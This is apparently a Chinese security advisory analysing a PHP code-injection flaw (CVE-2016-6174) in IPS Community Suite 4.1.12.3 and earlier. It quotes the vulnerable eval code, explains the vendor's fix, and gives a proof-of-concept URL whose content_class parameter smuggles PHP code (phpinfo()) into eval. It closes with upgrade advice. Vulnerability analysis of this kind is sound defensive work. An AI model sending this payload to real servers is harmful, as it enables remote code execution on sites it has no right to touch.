一、 漏洞概述
1. 漏洞信息
“IPS Community Suite “是一款国外比较常见的cms。但在其4.1.12.3版本及以下版本,存在PHP代码注入漏洞,该漏洞源于程序未能充分过滤content_class
请求参数。远程攻击者可利用该漏洞注入并执行任意PHP代码。
2. 触发条件
IPS版本:<=4.1.12.3
php环境:<=5.4.24
和5.5.0-5.5.8
二、漏洞复现
1. 分析
在 /applications/core/modules/front/system/content.php 文件中有一段这样的代码,
1 2 3 4 5 | $class = \'IPS\' . implode( \'\', explode( \'_\', IPSRequest::i()->content_class ) ); if ( ! class_exists( $class ) or ! in_array( \'IPSContent\', class_parents( $class ) ) ) { IPSOutput::i()->error( \'node_error\', \'2S226/2\', 404, \'\' ); } |
1 2 3 4 5 | if ( mb_substr( $class, 0, 14 ) === \'IPScmsFields\' and is_numeric( mb_substr( $class, 14, 1 ) ) ) { $databaseId = mb_substr( $class, 14 ); eval( "namespace IPScms; class Fields{$databaseId} extends Fields { public static $customDatabaseId [...] } |
程序处理流程如下:
2. IPS 官方修复分析
经过我们的分析对比
发现 /applications/cms/Application.php这个文件中 原来的 spl_autoload_register() 和更新后
我们可以看到,官方利用 intval() 函数对最后传入的 $class 进行来整数验证
使得传入的 $class 的第14位后被限定成为一个整数,防止传入字符串进入 eval()
3. PHP版本升级分析
在 PHP 的新版本 >=5.4.25 或者 >=5.5.9 里变更了 class_exists 的机制
而低于的版本则没有此限制可以正常触发漏洞
1 2 3 4 5 | $class = \'IPS\' . implode( \'\', explode( \'_\', IPSRequest::i()->content_class ) ); if ( ! class_exists( $class ) or ! in_array( \'IPSContent\', class_parents( $class ) ) ) { IPSOutput::i()->error( \'node_error\', \'2S226/2\', 404, \'\' ); } |
4. 漏洞利用
由此,我们可以构造PoC:
1 | http://*/ips/index.php?app=core&module=system&controller=content&do=find&content_class=cms\Fields1{}phpinfo();/* |
效果如图:
Pocsuite:
5. 漏洞修复
PHP 5.4.x 升级至 5.4.25 以上, 5.5.x 升级至 5.5.9 以上
IPS 升级至`4.12.3.1 以上
三、参考
https://www.seebug.org/vuldb/ssvid-92096
https://invisionpower.com/
http://windows.php.net/downloads/releases/archives/
http://karmainsecurity.com/KIS-2016-11
http://cve.mitre.org/cgi-bin/cvename.cgi?name=2016-6174
【via@ 知道创宇404安全实验室】
还没有评论,来说两句吧...